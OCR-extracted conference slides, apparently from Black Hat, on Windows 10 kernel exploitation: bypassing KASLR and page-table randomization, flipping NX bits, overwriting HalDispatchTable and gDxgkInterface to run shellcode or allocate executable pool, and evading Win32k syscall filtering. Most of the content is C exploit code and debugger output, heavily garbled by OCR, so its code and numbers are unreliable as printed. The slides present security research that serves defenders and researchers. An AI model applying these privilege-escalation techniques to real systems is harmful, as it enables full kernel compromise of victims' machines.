fftffbdSf eced?bfl cdd!DrvSyvnchronizeSurface

gooonooo"ol0s2esse OO00ooooo”
goo0o00=e4”
L goooodon ffffbdds”

gooooooo
gooooooo
gooooooo
gooooool
LE303270
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v, Bitmap KASLR Bypass O-C

* Free a Bitmap at offset 0x3000 from first Bitmap
e Spray CompatibleBitmaps to reallocate

HEITMAP h3 = (HEITMAP)readQword(leakPool() + @x3000);
buffer[5] = (DWORDG4)Yh3;
DeleteObject(h3);

HEITMAP *KASLRbitmap = new HEITMAP[@xl1ea];
for (DWORD 1 = @; 1 < @x188; i++)
{

KASLRbitmap[i] = CreateCompatibleBitmap(dc, 1, @x3564);

¥
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PIack®®? Bitmap KASLR Bypass 0-D

e Read cdd!DrvSyncronizeSurface pointer
* Find ntoskrnl.exe pointer

kd: u cdd!DrvSynchronizeSurface + 2b L1
cdd | DrvSynchronizeburface+l=2b:

tftffbdsf ecediclb ££153£870300 call gword ptr [cdd! _imp ExEnterCriticalRegionAndicquireFasztHutexln=ate
kd: dg= [cdd! _imp ExEnterCriticalRegiondndicquireFasztMutexln=afe] L1
fftffbdsf "ectfOb3el ff£f££8037 dcdc3ed90 nt |ExEnterCriticalFegiondndicquireFastHutexlin=ate

DWORDE4 leakNitBase()

{

WORDG4 ObjAddr = leakPool() + @x3000;

WORDS4 cdd DrvSynchronizeSurface = readQword(readQword(ObjAddr + 8x38) + @x6fa);
WORDE4 offset = readQword(cdd DrvSynchronizeSurface + @x2d) & @xFFFFF;

WORDE4 ntAddr = readQword(cdd DrvSynchronizeSurface + 8x31 + offset);

WORDE4 ntBase = getmodBaseAddr(ntAddr);
return ntBase;

e I e S v [ |

Ll
|
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* tagWND structure from REACTOS

typedef struct _WND
{

THRDESKHEAD head;

Wl ;

struct WND *spwndie
#if (_WIN32_WINNT >= ox

struct WND *spwndPrev;
#endif

struct WND *spwndParent;

typedef struct THROBIHEAD
{

HEAD;
) PTHREADINFO pti; * typedef struct THREADINFO
} THROBIHEAD, *PTHROBIHEAD; {

/Y f* @80 */ W32THREAD;
typede

ct THRDESKHEAD

struct WND *spwndChild; {
THROBJHEAD,;
PDESKTOP  rpdesk; typedef struct W32THREAD
PVOID pSelf; I o

# :
+ THRDESKHEAD, *PTHRDESKHEAD; /* 0x000 */ PETHREAD pEThread:;
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e Offset Ox2A8 of KTHREAD has ntoskrnl.exe pointer

DWORDES leakNtBase()

{
DWORDE4 wndAddr = leaklind(g windowl);
DWORDES pti = readQWORD(wndAddr + @x1@);
DWORDE4 ethread = readQWORD(pti);
DWORDE4 ntAddr = readQWORD{ethread + ©x2a8);
DWORDE4 ntBase = getmodBaseAddr({ntAddr);
return ntBase;

¥
kd: dg ffffbd25 4093£3b0+10 L1
Ffffbd25 " 4093f£3c0 ffffbdZ5 4225dabl
kd» dg ffffbd25°4225dab0 11
ffffbdl5 " 4225dabl  fE£££9658a° 3b504Y=0
kd> dg= ffff9658a 5b50d7=0 + Zas

ffff968a" 3b50dacd ff£f£f£803° 4=557690 nt l|EeHotifvyProcessorFresezeSupported
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* Page Table Entries had static base address of OxFFFFF68000000000
* Self-mapping references

DWORDE4 getPTTromVA(DWORDE4 wvaddr)
1
vaddr >>= 93
vaddr &= Bx7FFFFFFFFE&;
vaddr += @xFFFFFOS088008200
return vaddr;

¥
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L=azo1> De-randomizing Page Table

* The kernel must lookup PTE’s often
* Must have APl which works despite randomization

* MiGetPteAddress in ntoskrnl.exe
* Static disassembly uses old base address
* Dynamic disassembly uses randomized base address

MiGetPtefAddress proc near nt I MiGetPtedddress:
<hr rcx, 9 EEE££803 Docd1264 48012909 shr  rom. 9
- tax. 7EEFEFFEF8h tf£££803 0oodl288 48RBLOLLE££££7£000000 mov ram, 7FFFEFFFEEFRLh
? tf£££803 Nocdl2e? 48238 and TCE,Trax
and FCX, Fdx tf£££803 Oocdl2el 48080000000000cfE£££f mov rax, OFFFECEOOOO000Q000R
mov rax, BFFFFF68080800080806h tf£££803 Nocdl2ef 480321 add rax,rcx
add Fax, FCx tfff£803 O0ocdl1272 =3 ret
retn
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e MiGetPteAddress contains
the randomized base address
* Locate MiGetPteAddress

dynamically using read primitive

BYTE* readData(DWORDE4 start, DWORDE4 size
1
BYTE* data = new BYTE[size];
memset({data, @, size);
ZeroMemory (data, size);
EYTE *pbits = new BYTE[@xe88];
memset{pbits, @, @xe0@);
GetBitmapBits(hl, Ox=0@, pbits);
POWORDES pointer = (PDWORDE4)pbits;
pointer[@x1BC] = start;
pointer[@x1B29] = GxGB218021680083658;
SetBitmapBits(hl, Oxe0@, pbits);
GetBitmapBits(h2, size, data);
pointer[@x1B2] = OxEEEEEE21E2008368;
SetBitmapBits(hl, Gxe0@, pbits);
delete[] pbits;
return data;

De-randomizing Page Tak

DWORDES locatefunc{DWORDE4 modBase, DWORDE4 signature, DWORDG4A size)

1

WORDE4 tmp = @;

WORD&4 hash = @;

WORDE4 addr = modBase + 6x1908;

WORDE4 pe = (readQuword({modBase + 8x3C) & exoQ@@20@@FFFFFFFF);

WORDS4 codeBase = modBase + (readQuword(modBase + pe + 8x2C) & Ox0L0ERBBBFFFFFFFF);
WORDS4 codeSize = (readQword(modBase + pe + @x1C) & exeeea0@0@FFFFFFFF);

PR e B v IO e N e Y e B v |

if (size != @)
i

codeSize = =ize;
h

BEYTE* data = readData(codeBase, codeSize);
BEYTE®* pointer = data;

while (1)

{
hash = &;
for (DWORD 1 = @; 1 < 4; i++)
1

tmp = *(PDWORDE4)( (DWORDE4 )pointer + 1 * 4);
hash += tmp;

¥

if (hash == signature)

1
break;

}

addr++;
pointer = pointer + 1;

¥

return addr;
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e Locate hash value of MiGetPteAddress
e Leak PTE base address

VOID leakPTEBase(DWORDE4 ntBase)

1

DWORDE4 MiGetPteAddressAddr = locatefunc(ntBase, 8x247981102daa798f, @xboeead);

g PTEBase = readQword{MiGetPteAddressAddr + @x13);

return;
hy
DWORDES getPTTromVA(DWORDES vaddr)
1

vaddr >>= 3; ld: % O=xfffffra000000000 > 9

vaddr &= @x7FFFFFFFF&; Evaluate expression: 3602877876L5352960 = 007ffffb " cO000000

vaddr += g PTEBase; ld> 7 007ffffb cO000000 & 7FEFEFEFEFEFCh

return vaddrs Evaluate expres=sion: 531502202880 = 000000%b"cO0OO00O000

lkd> dg Yb cO000000 + OFFEFFCEFO0O0O0O0O00C00OR L1

} ffffci?b cO000000 S0000000° 00963963
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* Write shellcode to KUSER_SHARED DATA + 0x800
* Flip the NX bit of the page

DWORDE4 PteAddr = getPTfromVA(@xfff{f73000800800);

DWORDE4 modPte = readQword(PteAddr) & @xBFFFFFFFFFFFFFFF;
writeQword(PteAddr, modPte);

 Call shellcode by overwriting HalDispatchTable and calling
NtQuerylntervalProfile

BOOL getExec({DWORDE4 halDispatchTable, DWORD&4 addr)
1
_NtQueryIntervalProfile NtQueryIntervalProfile = { NtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("NTDLL.DLL™), "NtQueryInterwvalProfile™);
writeQword({halDispatchTable + 8, addr);
ULONG result;
NtQueryIntervalProfile(2, &result);
return TRUE;

h
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WHY MODIFY PTE

IFYOU CAN ALLOGATE
'EXECUTABLE POOL MEMORY2
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c=a=m> Dynamic Kernel Memor

* ExAllocatePoolWithTag allocates kernel pool memory

PVOID ExAllocatePoolWithTag( NonPagedPool = 0OnD
HonPagedPoolExecute = 0Onl
_In_ POOL_TYPE PoolType, PagedPool = Onl
HonPagedPoolMu=tSuccesed = On?
In_ SIZE T NumberOfBytes, DontUesThi=Type - On3
_In_ ULONG Tag HonFPagedPoolCachehligned = (nd
) : FPagedFoolCachehAligned = 0Onb
! HonFPagedPoolCacheAl igneddu=tS = 0Onk

HaxPoolType = On?
HonFagedFoolBa=se = Onl

P HonFPagedPoolBazeMu=ztSucceed = On?2

Allocate NonPagedPO(:)lEXECUte HonPagedPoolBaseCachedligned = Ond
HonFPagedPoolBaszeCachedl ignedu=ts = Onb
HonFPagedPoolSes=zion = 0ni?d

F)()()I rT1EETT1C)r\/ FPagedPoolSes=ion = 0n33d
HonPagedPoolMu=stSuccesedSession = (ndd
DontU=eThisTypeSes=ion = 0n3hs
® Return p00| memory HonPagedPoolCacheblignedSession = 0n36

FagedFoolCachehil ignedSession = 0n3y
HonFPagedPoolCacheAl ignedu=tSSe=s=sion = 0n3s

address NonPagedPoolH= = O0nSl2
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* Need controlled arguments to call ExAllocatePoolWithTag

* NtQuerylntervalProfile takes two arguments
* Must have specific values to trigger HaliQuerySystemInformation

* Need a different system call
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NtGdiDdDDICreateAllocation PROC

 Enter NtGdiDdDDICreateAllocation mov r1@, rex
mov eax, 118Ah
syscall
ret
kd: u win32k!NtGdiDdDDICreatedllocation L1 NtGdiDdDDICreateAllocation ENDP
wind2k INtGd1DAdDDICreatedl location:
ftfftftbdsf "eciad9de f£25d6a40400 Jmp gword ptr [winadZlk! _imp HtGdiDADDICreatedl location (fff

kdx n poi1i[winiZk! imp NtGAiDdDDICreatedllocation] ) L1

win3dZkfull INtGAd1iDADDICreatedl location:

fffftbdsf "echibal f£251aad2200 Jmp gword ptr [winadZlkfull! _imp HtGdiDADDICreatedllocation
kd: w poi{[wind2kiull! imp HtGdiDADDICreatedAllocation]) L2
winilZkbaze | HtGdiDADDICreatedl location:

ffftfbd5f "ecdic430 483L0531331000 mow rax,gword ptr [windZkbase!gDeglklInterface+0xz6d (ffffbdEt
tftftftbdSf "ecdldcd3? 48££2512251200 Jmp gword ptr [winidZlkbase! guard dispatch _icall fptr (ffft
kd: u poif[winiZkbase! guard dispatch _icall fptr]) L1

winiflkba=zelguard dispatch i1call nop:

tfttftbdSf "ecdbtBlal ffel Jmp Tax

* Thin trampoline around NtGdiDdDDICreateAllocation
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* Win32kbase!gDxgklInterface is function table into dxgkrnl.sys

* Arguments are not modified from system call to function table call

blackhat

LIS A 200 Tz

kd: dg= winiZkbase!gDzgklInterface

ffffbdsf
ffffbdsf
ffffbdsf
fftfftbdSt
fftfftbdSt
fftfftbdst
fftftbdst
fftftbdst
fftftbdbt
fftftbdbt
ffftbdbt
fffftbdbt
fffftbdbt
ffffbdbf

"ecedf 750
"ecedf7hE
"ecedf 760
"ecelf 768
"ecedf 70
"eceldf 778
"eceldf Va0
"ecelf 788
"ece3df 790
"ece3f 793
"eceif7al
"eceif7al
"ecelf 7h0
"ecelf 7hi

goooooan”
goooooan”
fffffa0e"
fftfffsle’
fftfffsle’
"3151f1al
"3151le=?0
"314B99510
"315ae¥10
"3l4cddhn
"31521e=f0
"31519a50
"31513=310
"314cef10

001b07£0
oooooooo
21521tb0
21521tb0
214c5480

Dynamic Kernel Memor

dxgkrnl | DegkCapturelnterfacelereference
dEgkrnl | DegkCapturelnterfacelereference
dzgkrnl | DegkProces=Cal lout

dEgkrnl | DegkNotifvyProcessFresezeCal lout
dxgkrnl | DegkHotif yProcessThawCal lout
dxgkrnl | DegkOpendsdapter
dzglkrnl | DegkEnunddapters
dxglkrnl | DegkEnunddapters?

dzglkrnl | DegkGetMazinumnAdapterCount
dzglkrnl | DegkOpenddapterFromLuid
dzglkrnl | DegkCloseAdapter

dxglkrnl | DegkCreatedllocation
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* Inspecting win32kbaselgDxgklnterface shows it to be writable

kkd: ? win3iZlkbaselglegkInterface >» 9

Evaluate expression: 36028794147651760 = 007fffff 548=f570
kd: ¥ 007fffff 548=f570 & YFFFFFFFFEFS

Evaluate expres=sion: L46879501680 = 0000007f S548=f570

kd: dg Yf 548ef570 + OFFEFFCEOO00OOQO0O0OR L1

ffffct?f 548=2£570 cfe00000° 36b4BEE6E3

kd> dt _MMPTE HARDWARE fffictf?f S48=f5710
nt | _MHFTE_HARDWARE

+0=z000 Valid o Oyl
+0=000 Dairtvl o 0wl
+0=z000 Owner . Qw0
+0=z000 WriteThrough - Ol
+0x=z000 CachelDi=zable - Ol
+0=z000 Acces=ed - Ol
+0=z000 Dirty - Ol
+0=z000 LargsePage o Ol
+0=000 Global o Ol
+0=z000 CopyOnlrite o Ol
+0=z000 Unu=ed - Uyl
+DHDDDIHritE : %E%%
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* Need to dynamically locate win32kbase!gDxgkinterface
e Can be found in win32kfull!DrvOcclusionStateChangeNotify

DrvbcclusionStateChangeHotify proc near

var 18= dword ptr -18h
var_18= qword ptr -18h

: FUNCTION CHUHK AT B88888881CHA157D2E 51,

sub rsp, 38h

mou rax, [rsp+EEh ]

lea rcx, [rsp+3Bh+var 18]

mou [rsp+38h+var_ 18], rax

mow rax, cs: imp ?gDxgklInterface@d:
mou [rsp+3Bh+var_ 18], 1

mov Fax, [rax+488h]

* Need to leak win32kfull.sys
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* PsLoadedModulelist is doubly-linked list of
_LDR_DATA_TABLE_ENTRY structures.

kd: dg nt!P=loadedModuleli=st L2

fffffe03 " dzYeabal ffff968a  38c1ebil f£££968a" 32347280

kd: dt _ILDR_DATA TABELE ENTRY ffffd68a 38clebil

ntdll! _ILDE_DATA TABLE EHTEY
+0x000 InLloadOrderlinks : _LIST _ENTEY [ Oxffff968a’38cledq0 — 0xfffff803  dc7e6abal ]
+0x010 InMemorvOrderlinlk= : _LIST ENTEY [ O0=ffff£f803 4728000 — 0=00000000° 00053760
+0x020 InInitializationOrderlink=s : _LIST _ENTEY [ O0=z00000000° 00000000 — OxO0OOOOQOOQO"(

+0=030 D11lBa=e  Oxfffff803 4c41e000 Void

+0x038 EntrvPoint  O=fffff803 4=831=010 Void

+0x040 SizelfInage ; O=889000

+0x048 FullDllHame o _UNICODE STRIHG "~Syv=stemRoot»=systemiZ~ntoskrnl  exe"
+0=x0583 Ba=esD]lHamnes o _[OHICODE_STRIHG "ntoskrnl  exe"

e Search for Win32kful in Unicode at offset 0x60

kd: du poiiffff968a 381530 + 60D
tfff968a 381?70 "ntoskrnl  exe"
kd: dg ffff9e8a” 3812530 + 30 L1
ffff9e8a  28clebel ff£££3037 4=41e=000
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e Leak PsLoadedModulelList from KeCapturePersistentThreadState

nt lKeCapturePerzistentThreadState+0=cO

tffffA03 dce0=4d0 45894c90fc mow dword ptr [r8+rd=z=4-4],1r9d

tffffA03 dck0=4d5 4483900 mow dword ptr [rb=x].r9d

tff££803 4cbleddd =7432304445535634 mow dword ptr [rbz+4].34365544h

tff££803 dcbleddf =?7430cd?3a0000 mow dword ptr [rbz+0Ch]. 3ADVh

fff££803 dcbledes =743030£000000 mow dword ptr [rbz+8].0Fh

tffff803 dcbleded 493LB6LB00000O0 mowv raz.gqword ptr [rld+0B8h]

tffffA03 dcel0=4f4 488b482AE mow rcE,qword ptr [rax+28h]

tffffA03 dce0=4£f8 45883940L10 mow gword ptr [rbx+l10h].rc=

tff££803 dcbledfc BALL£L££0000 o ecx, JFFEFEFh

ffff£803 4602501 4838bL05401B1£00 mow rax.gword ptr [nt!MmPinDataba=ze (f£f££f803 48000485 ]
tfff£803 4602508 48894318 mow gword ptr [rb=+l18h].rax=

fff££803 4dcb0eblc 48384d058dz01500 lea rax. [nt ! PeloadedModuleli=st (f£fff£f803° 4cVeabal) ]

* Get Win32kfull.sys base address
* Find win32kfull!DrvOcclusionStateChangeNotify
* Finally locate win32kbase!gDxgklnterface
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e Overwrite win32kbase!gDxgkinterface + 0x68 with
nt!ExAllocatePoolWithTag

DWORDE4 allocatePool(DWORDGE4 size, DWORD&4 win32kfullBase, DWORDGE4 ntBase)
{
DWORDS4 gDxgkInterface = locategDxgkInterface(win3ZkfullBase);
DWORDE4 ExAllocatePoolWithTagAddr = ntBase + @x27f390;
writeQword(ghxgkInterface + @x68, ExAllocatePoolWithTagAddr);

DWORDS4 poolAddr = NtGdiDdDDICreateAllocation(@, size, @x41424344 . 8x111);
return poolAddr;

}
* Copy shellcode to allocated page

* Execute it by overwriting win32kbase!gDxgklnterface again
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* Win32k Syscall Filtering is enabled in Microsoft Edge
* Blocks some Win32k System Calls to stop exploitation

Ha=

KiSystemServiceRepeat:

lea r18, KeServiceDescriptorTable

lea r11, KeServiceDescriptorTableShadow

test dword ptr [rbx+78h], 40h

jz short loc_14015524E ; jump if not GUI thread

test dword pty [rbx+78h], 80088h
jz short loc_14815524B ; Do not jump if RestrictedGuiThread

] ==
lea r11, KeServiceDescriptorTableFilter

kd> dg= nt !|KeServicelDescriptorTableShadow + 20 L1

fEff£801 c%a27760 fiffdlaa aBb00000 win32k!W32pServiceTable
kd> dgs ntl|KeServiceDescriptorTableFilter + 20 L1

ffff£801 =9a277el fifffdlaa abbllacl wini2k!|W3iZpServiceTableFilter
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* Resolve function address from syscall number

kdy dd windZk!W32pServiceTable + 192 # 4 L1

ffffdlaa a8bl0e?78 ffd22620

kd> ? (ffd22620 »»> 4) | FOO0DOOOOQOOOOOQOOO

Evaluate expression: -1876806 = ftffffff fffddes

kdy u win3d2k!W3i2pserviceTable + ffffffff ffid22e2 L1
windZk INtGdiDdDDICreatedl location:

ffffdlaa abad2Ze2 ££2520£40100 Imp gword ptr

* Win32k syscall filtering depends on entries in

win32k!pServiceTableFilter

kdy dd win3Z2k!W3iZ2pServiceTableFilter + (19 # 4) L1
fff££f051°1b532138 f£d4d07a20

kd> 7 (££d407a20 »>»> 4) | FOOOODOOOQOOOOOOQO

Evaluate expre=s=sion: -194654 = ffffffff £ffd07a2

kdry u win3z2k!W3zZpServiceTableFilter + ffffffff f£fd07a2 L1
winiZk |HtGdiDdDDICreatedl location:

fEfE£f051°1bS02262 ££2520£40100 Imp gqword ptr [win3ilk!
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* Bitmap read/write primitive uses
* NtGdiCreateBitmap
* NtGdiGetBitmapBits
* NtGdiSetBitmapBits

* tagWND read/write primitive uses
* NtUserCreateWindowEx
* NtUserSetClassLongPtr
* NtUserDefSetText
* NtUserInternalGetWindowText

* None of these are filtered
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* Kernel read/write primitives can still be leveraged with Write-What-
Where vulnerabilities

* Page Table randomization can be bypassed with ntoskrnl.exe
information leak

* Device Independent Bitmap can be used to leak ntoskrnl.exe

* tagWND can be used to leak ntoskrnl.exe

e Possible to allocate RWX pool memory with ExAllocatePoolWithTag
e Code on GitHub shortly - https://github.com/MortenSchenk
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* Alex lonescu - https://recon.cx/2013/slides/Recon2013-Alex%20lonescu-
1%2020t%2099%20problems%20but%20a%20kernel%20pointer%20ain%27

t%200ne.pdf
e Alex lonescu - http://www.alex-ionescu.com/?p=231

* Diego Juarez - https://www.coresecurity.com/blog/abusing-gdi-for-ring0-
exploit-primitives

* Yin Liang & Zhou Li - https://www.blackhat.com/docs/eu-16/materials/eu-
16-Liang-Attacking-Windows-By-Windows.pdf

* Nicolas Economou - https://www.coresecurity.com/blog/getting-physical-
extreme-abuse-of-intel-based-paging-systems-part-3-windows-hals-heap

* David Weston & Matt Miller - https://www.blackhat.com/docs/us-
16/materials/us-16-Weston-Windows-10-Mitigation-Improvements.pdf
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